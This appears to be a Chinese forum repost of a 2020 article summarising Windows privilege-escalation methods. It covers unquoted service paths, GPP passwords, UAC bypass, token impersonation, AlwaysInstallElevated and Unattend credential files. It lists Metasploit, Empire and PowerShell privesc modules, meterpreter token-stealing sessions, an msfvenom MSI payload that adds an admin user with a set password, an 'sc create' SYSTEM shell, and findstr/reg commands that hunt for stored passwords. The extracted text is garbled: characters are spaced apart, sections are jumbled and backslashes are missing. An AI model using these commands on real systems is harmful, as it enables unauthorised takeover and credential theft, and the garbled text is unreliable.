搜索

[21091] 2020-06-19_Windows系统提权总结

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2020-06-19_Windows系统提权总结 W i n d o w s 系 统 提 权 总 结 L e m o n S e c   2 0 2 0 - 0 6 - 1 9 0 x 0 1   简 介 简 介 提 权 可 分 为 纵 向 提 权 与 横 向 提 权 ： 纵 向 提 权 ： 低 权 限 角 色 获 得 高 权 限 角 色 的 权 限 ； 横 向 提 权 ： 获 取 同 级 别 角 色 的 权 限 。 W i n d o w s 常 用 的 提 权 方 法 有 ： 系 统 内 核 溢 出 漏 洞 提 权 、 数 据 库 提 权 、 错 误 的 系 统 配 置 提 权 、 组 策 略 首 选 项 提 权 、 W E B 中 间 件 漏 洞 提 权 、 D L L 劫 持 提 权 、 滥 用 高 危 权 限 令 牌 提 权 、 第 三 方 软 件 / 服 务 提 权 等 0 x 0 2   按 提 权 方 法 分 类 按 提 权 方 法 分 类 2 . 1   系 统 内 核 溢 出 漏 洞 提 权 系 统 内 核 溢 出 漏 洞 提 权 此 提 权 方 法 即 是 通 过 系 统 本 身 存 在 的 一 些 漏 洞 ， 未 曾 打 相 应 的 补 丁 而 暴 露 出 来 的 提 权 方 法 ， 依 托 可 以 提 升 权 限 的 E X P 和 它 们 的 补 丁 编 号 ， 进 行 提 升 权 限 。 下 面 是 几 个 方 便 查 找 相 应 补 丁 漏 洞 的 辅 助 查 询 页 面 ： 2 . 2   系 统 配 置 错 误 提 权 h t t p s : / / g i t h u b . c o m / i a n x t i a n x t / w i n - e x p - h t t p s : / / g i t h u b . c o m / S e c W i k i / w i n d o w s - k e r n e l - e x p l o i t s # 手 工 查 找 补 丁 情 况 s y s t e m i n f o W m i c   q f e   g e t   C a p t i o n , D e s c r i p t i o n , H o t F i x I D , I n s t a l l e d O n # M S F 后 渗 透 扫 描 p o s t / w i n d o w s / g a t h e r / e n u m _ p a t c h e s # P o w e r s h e l l 扫 描 I m p o r t - M o d u l e   C : S h e r l o c k . p s 1 F i n d - A l l V u l n s # E m p i r e 内 置 模 块
2 . 2 . 1   系 统 服 务 权 限 配 置 错 误 系 统 服 务 权 限 配 置 错 误 W i n d o w s 在 系 统 启 动 时 ， 会 伴 随 着 一 些 高 权 服 务 启 动 ， 倘 若 某 些 服 务 存 在 一 些 漏 洞 ， 那 么 就 能 够 借 此 服 务 进 行 权 限 劫 持 实 现 方 法 可 借 助 ： 2 . 2 . 2   可 信 任 服 务 路 径 漏 洞 可 信 任 服 务 路 径 漏 洞 如 果 一 个 服 务 的 可 执 行 文 件 的 路 径 没 有 被 双 引 号 引 起 来 且 包 含 空 格 ， 那 么 这 个 服 务 就 是 有 漏 洞 的 M S F 使 用 实 战 ： 2 . 2 . 3   计 划 任 务 计 划 任 务 如 果 攻 击 者 对 以 高 权 限 运 行 的 任 务 所 在 的 目 录 具 有 写 权 限 ， 就 可 以 使 用 恶 意 程 序 覆 盖 原 来 的 程 序 ， 这 样 在 下 次 计 划 执 行 时 ， 就 会 以 高 权 限 来 运 行 恶 意 程 序 。 2 . 3   组 策 略 首 选 项 提 权 组 策 略 首 选 项 提 权 组 策 略 首 选 项 ( G r o u p   P o l i c y   P r e f e r e n c e s , G P P ) ， 详 情 见 谢 公 子 的 博 客 ： W i n d o w s 组 策 略 首 选 项 提 权 u s e m o d u l e   p r i v e s c / p o w e r u p / a l l c h e c k s e x e c u t e 1 . P o w e r s h e l l 中 的 P o w e r U p 脚 本 h t t p s : / / g i t h u b . c o m / P o w e r S h e l l M a f i a / P o w e r S p l o i t / b l o b / m a s t e r / P r i v e s c / P o w e r U p . p s 1 2 . M e t a s p l o i t 中 的 攻 击 模 块       # 需 要 提 前 获 取 一 个 s e s s i o n e x p l o i t / w i n d o w s / l o c a l / s e r v i c e _ p e r m i s s i o n s # 寻 找 存 在 漏 洞 的 服 务 w m i c   s e r v i c e   g e t   n a m e , d i s p l a y n a m e , p a t h n a m e , s t a r t m o d e   |   f i n d s t r   / i   " A u t o "   |   f i n d s t r   / i   / v   " C : W i n d o w s "   |   f i n d s t r   / i   / v   " " " # m s f 攻 击 模 块 e x p l o i t / w i n d o w s / l o c a l / t r u s t e d _ s e r v i c e _ p a t h # 正 常 接 收 到 会 话 后 ， 不 久 就 会 自 动 断 开 连 接 ， 需 要 开 启 命 令 自 动 迁 移 进 程 s e t   A u t o R u n S c r i p t   m i g r a t e   - f # 查 看 计 算 机 的 计 划 任 务 s c h t a s k s   / q u e r y   / f o   L I S T   / v # 查 看 指 定 目 录 的 权 限 配 置 情 况 a c c e s s c h k . e x e   - d q v   " D : t e s t "   - a c c e p t e u l a # P o w e r s h e l l 获 取 c p a s s w o r d G e t - G P P P a s s w o r d . p s 1 # M s f p o s t / w i n d o w s / g a t h e r / c r e d e n t i a l s / g p p # E m p i r e u s e m o d u l e   p r i v e s c / g p p
2 . 4   绕 过 绕 过 U A C 提 权 提 权 b a c k l i o n 师 傅 有 一 篇 博 文 ， 主 要 写 的 就 是 这 个 ： 使 用 M e t a s p l o i t 绕 过 U A C 的 多 种 方 法 2 . 3   令 牌 窃 取 2 . 4   无 凭 证 条 件 下 的 权 限 提 升 无 凭 证 条 件 下 的 权 限 提 升 R e s p o n d e r . p y ： h t t p s : / / g i t h u b . c o m / S p i d e r L a b s / R e s p o n d e r . g i t 0 x 0 3   按 系 统 类 型 类 型 按 系 统 类 型 类 型 3 . 1   W i n d o w s 2 0 0 0 / 2 0 0 3 、 、 X P 3 . 1 . 1   a t 本 地 命 令 提 权 本 地 命 令 提 权 在   W i n d o w s 2 0 0 0 、 W i n d o w s   2 0 0 3 、 W i n d o w s   X P   这 三 类 系 统 中 ， 我 们 可 以 轻 松 将   A d m i n i s t r a t o r s   组 下 的 用 户 权 限 提 升 到   S Y S T E M a t   是 一 个 发 布 定 时 任 务 计 划 的 命 令 行 工 具 ， 语 法 比 较 简 单 。 通 过   a t   命 令 发 布 的 定 时 任 务 计 划 ，   W i n d o w s   默 认 以   S Y S T E M   权 限 运 行 。 定 时 任 务 计 划 可 以 是 批 处 理 、 可 以 是 一 个 二 进 制 文 件 。 # M s f e x p l o i t / w i n d o w s / l o c a l / a s k               # 弹 出 U A C 确 认 窗 口 ， 点 击 后 获 得 s y s t e m 权 限 e x p l o i t / w i n d o w s / l o c a l / b y p a s s u a c e x p l o i t / w i n d o w s / l o c a l / b y p a s s u a c _ i n j e c t i o n e x p l o i t / w i n d o w s / l o c a l / b y p a s s u a c _ f o d h e l p e r e x p l o i t / w i n d o w s / l o c a l / b y p a s s u a c _ e v e n t v w r e x p l o i t / w i n d o w s / l o c a l / b y p a s s u a c _ c o m h i j a c k # P o w e r s h e l l I n v o k e - P s U A C m e # E m p i r e u s e m o d u l e   p r i v e s c / b y p a s s u a c u s e m o d u l e   p r i v e s c / b y p a s s u a c _ w s c r i p t # 已 经 获 取 到 一 个 s e s s i o n # 方 法 一 m e t e r p r e t e r   >   u s e   i n c o g n i t o . . . . . . m e t e r p r e t e r   >   l i s t _ t o k e n s   - u W I N - 2 H U 3 N 1 A d m i n i s t r a t o r m e t e r p r e t e r   >   i m p e r s o n a t e _ t o k e n   W I N - 2 H U 3 N 1 A d m i n i s t r a t o r     # 注 意 ： 这 里 是 两 个 反 斜 杠 S u c c e s s f u l l y . . . . . . m e t e r p r e t e r   >   s h e l l C : U s e r A d m i n i s t r a t o r > w h o a m i W I N - 2 H U 3 N 1 A d m i n i s t r a t o r # 方 法 二 , 借 用 R o t t e n   p o t a t o 程 序 h t t p s : / / g i t h u b . c o m / f o x g l o v e s e c / R o t t e n P o t a t o . g i t m e t e r p r e t e r   >   u s e   i n c o g n i t o m e t e r p r e t e r   >   l i s t _ t o k e n s   - u W I N - 2 H U 3 N 1 A d m i n i s t r a t o r m e t e r p r e t e r   >   u p l o a d   / r o o t / R o t t e n p o t a t o / r o t t e n p o t a t o . e x e S u c c e s s f u l l y m e t e r p r e t e r   >   e x e c u t e   - H C   - f   r o t t e n p o t a t o . e x e S u c c e s s f u l l y m e t e r p r e t e r   >   g e t u i d . . . N T   A U T H O R I T Y S Y S T E M
该 命 令 会 发 布 一 个 定 时 任 务 计 划 ， 在 每 日 的   1 0 : 4 5   启 动   c a l c . e x e 。 我 们 可 以 通 过   “ / i n t e r a c t i v e ” 开 启 界 面 交 互 模 式 ： 在 得 到 一 个 s y s t e m 的 c m d 之 后 ， 使 用   t a s k m g r   命 令 调 用 任 务 管 理 器 ， 此 时 的 任 务 管 理 器 是 s y s t e m 权 限 ， 然 后 k i l l 掉 e x p l o r e 进 程 ， 再 使 用 任 务 管 理 器 新 建 e x p l o r e 进 程 ， 将 会 得 到 一 个 s y s t e m 的 桌 面 环 境 。 3 . 1 . 2   a t   配 合 配 合   m s f 提 权 提 权 m s f 下 生 成 木 马 文 件 ， a t 命 令 执 行 运 行 程 序 ， 上 线 后 即 为 s y s t e m 语 法 ： a t   时 间   命 令 例 子 ： a t   1 0 : 4 5 P M   c a l c . e x e
3 . 2   w i n d o w s   7 / 8 、 、 0 3 / 0 8 、 、 1 2 / 1 6 3 . 2 . 1   s c 命 令 提 权 命 令 提 权 关 于 s c 命 令 ： S C   是 用 于 与 服 务 控 制 管 理 器 和 服 务 进 行 通 信 的 命 令 行 程 序 。 提 供 的 功 能 类 似 于 “ 控 制 面 板 ” 中 “ 管 理 工 具 ” 项 中 的 “ 服 务 ” 。 这 个 命 令 的 意 思 是 创 建 一 个 名 叫   s y s c m d   的 新 的 交 互 式 的   c m d   服 务 ， 然 后 执 行 以 下 命 令 ， 就 得 到 了 一 个 s y s t e m 权 限 的 c m d 环 境 ： 3 . 2 . 2   A l w a y s I n s t a l l E l e v a t e d A l w a y s I n s t a l l E l e v a t e d   是 一 种 允 许 非 管 理 用 户 以 S Y S T E M 权 限 运 行 M i c r o s o f t   W i n d o w s 安 装 程 序 包 （ . M S I 文 件 ） 的 设 置 。 默 认 情 况 下 禁 用 此 设 置 ， 需 系 统 管 理 员 手 动 启 用 他 。 可 以 通 过 查 询 以 下 注 册 表 项 来 识 别 此 设 置 ： 使 用 r e g   q u e r y 命 令 查 询 是 否 存 在 漏 洞 如 果 系 统 没 这 个 漏 洞 ， 它 将 输 出 错 误 : 如 果 存 在 漏 洞 ， 上 面 将 输 出 以 下 内 容 : 然 后 我 们 使 用 m s f v e n o m 生 成 m s i 文 件 ， 进 行 提 权 s c   C r e a t e   s y s c m d   b i n P a t h =   " c m d   / K   s t a r t "   t y p e =   o w n   t y p e =   i n t e r a c t s c   s t a r t   s y s t c m d [ H K E Y _ C U R R E N T _ U S E R S O F T W A R E P o l i c i e s M i c r o s o f t W i n d o w s I n s t a l l e r ]   “ A l w a y s I n s t a l l E l e v a t e d ” = d w o r d : 0 0 0 0 0 0 0 1 [ H K E Y _ L O C A L _ M A C H I N E S O F T W A R E P o l i c i e s M i c r o s o f t W i n d o w s I n s t a l l e r ]   “ A l w a y s I n s t a l l E l e v a t e d ” = d w o r d : 0 0 0 0 0 0 0 1 C : >   r e g   q u e r y   H K C U S O F T W A R E P o l i c i e s M i c r o s o f t W i n d o w s I n s t a l l e r   / v   A l w a y s I n s t a l l E l e v a t e d o r C : >   r e g   q u e r y   H K L M S O F T W A R E P o l i c i e s M i c r o s o f t W i n d o w s I n s t a l l e r   / v   A l w a y s I n s t a l l E l e v a t e d E R R O R :   T h e   s y s t e m   w a s   u n a b l e   t o   f i n d   t h e   s p e c i f i e d   r e g i s t r y   k e y   o r   v a l u e . m s f v e n o m   - p   w i n d o w s / a d d u s e r   U S E R = r o t t e n a d m i n   P A S S = P @ s s w o r d 1 2 3 !   - f   m s i - n o u a c   - o   r o t t e n . m s i m s i e x e c   / q u i e t   / q n   / i   C : p r o g r a m d a t a r o t t e n . m s i #   / q u i e t         安 装 过 程 中 禁 止 向 用 户 发 送 消 息 #   / q n               不 使 用 G U I #   / i                 安 装 程 序 m s f 下 的 自 动 模 块 e x p l o i t / w i n d o w s / l o c a l / a l w a y s _ i n s t a l l _ e l e v a t e d
3 . 2 . 3   U n a t t e n d e d   I n s t a l l s 自 动 安 装 允 许 程 序 在 不 需 要 管 理 员 关 注 下 自 动 安 装 。 这 种 解 决 方 案 用 于 在 拥 有 较 多 雇 员 和 时 间 紧 缺 的 较 大     型 组 织 中 部 署 程 序 。 如 果 管 理 员 没 有 进 行 清 理 的 话 ， 那 么 会 有 一 个 名 为 U n a t t e n d 的 X M L 文 件 残 存 在 系 统 上 。 这 个 X M L 文 件 包 含 所 有 在 安 装 程 序 过 程 中 的 配 置 ， 包 括 一 些 本 地 用 户 的 配 置 ， 以 及 管 理 员 账 户 。 全 盘 搜 索 U n a t t e n d 文 件 是 个 好 办 法 ， 它 通 常 会 在 以 下 一 个 文 件 夹 中 ： 除 了 U n a t t e n d . x m l 文 件 外 ， 还 要 留 意 系 统 中 的 s y s p r e p . x m l 和 s y s p r e p . i n f 文 件 ， 这 些 文 件 中 都 会 包 含 部 署 操 作   系 统 时 使 用 的 凭 据 信 息 ， 这 些 信 息 可 以 帮 助 我 们 提 权 。 在 这 些 文 件 中 通 常 包 含 用 户 名 和 密 码 ， 密 码 使 用 b a s e 6 4 编 码 ， 并 且 在 最 后 会 附 加 ” P a s s w o r d ” ， 所 以 真 正 的 密   码 需 要 去 掉 最 后 的 ” P a s s w o r d ” 。 3 . 3   常 用 系 统 漏 洞 C V E C : W i n d o w s P a n t h e r C : W i n d o w s P a n t h e r U n a t t e n d C : W i n d o w s S y s t e m 3 2 C : W i n d o w s S y s t e m 3 2 s y s p r e p C : U s e r s u s e r D e s k t o p >   d i r   C : * v n c . i n i   / s   / b   / c # 或 者 在 名 称 中 包 含 关 键 词 的 项 目 ： C : U s e r s u s e r D e s k t o p >   d i r   C :   / s   / b   / c   |   f i n d s t r   / s r   * p a s s w o r d * # 或 者 可 以 在 文 件 内 容 中 搜 索 p a s s w o r d 之 类 的 关 键 字 ： C : U s e r s u s e r D e s k t o p > f i n d s t r   / s i   p a s s w o r d   * . t x t   |   * . x m l   |   * . i n i # 可 以 查 询 注 册 表 ， 例 如 ， 字 符 串 p a s s w o r d ： r e g   q u e r y   H K L M   / f   p a s s w o r d   / t   R E G _ S Z   / s r e g   q u e r y   H K C U   / f   p a s s w o r d   / t   R E G _ S Z   / s # m s f 模 块 p o s t / w i n d o w s / g a t h e r / e n u m _ u n a t t e n d # W i n d o w s 1 0 C V E - 2 0 2 0 - 0 7 9 6   h t t p s : / / w w w . c n b l o g s . c o m / - c h e n x s / p / 1 2 6 1 8 6 7 8 . h t m l # W i n d o w s 7 / 2 0 0 8 C V E - 2 0 1 8 - 8 1 2 0   h t t p s : / / w w w . c n b l o g s . c o m / - m o - / p / 1 1 4 0 4 5 9 8 . h t m l # W i n d o w s 7 / 8 、 2 0 0 8 / 2 0 1 2 / 2 0 1 6 C V E - 2 0 1 7 - 0 2 1 3   h t t p s : / / w w w . c n b l o g s . c o m / - m o - / p / 1 1 4 4 6 1 4 4 . h t m l
本 文 来 源 ： 乌 云 安 全 本 文 来 源 ： 乌 云 安 全   肖 洋 肖 恩 肖 洋 肖 恩 如 对 你 有 ， 记 得 转 发 分 享 ， 点 个 在 看 哦 如 对 你 有 ， 记 得 转 发 分 享 ， 点 个 在 看 哦 # S Q L   S e r v e r 、 I I S 通 杀   ( 针 对 本 地 用 户 的 ， 不 能 用 于 域 用 户 ) M S 1 6 - 0 7 5 ( R o t t e n P o t a t o )   h t t p s : / / g i t h u b . c o m / S e c W i k i / w i n d o w s - k e r n e l - e x p l o i t s / t r e e / m a s t e r / M S 1 6 - 0 7 5
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理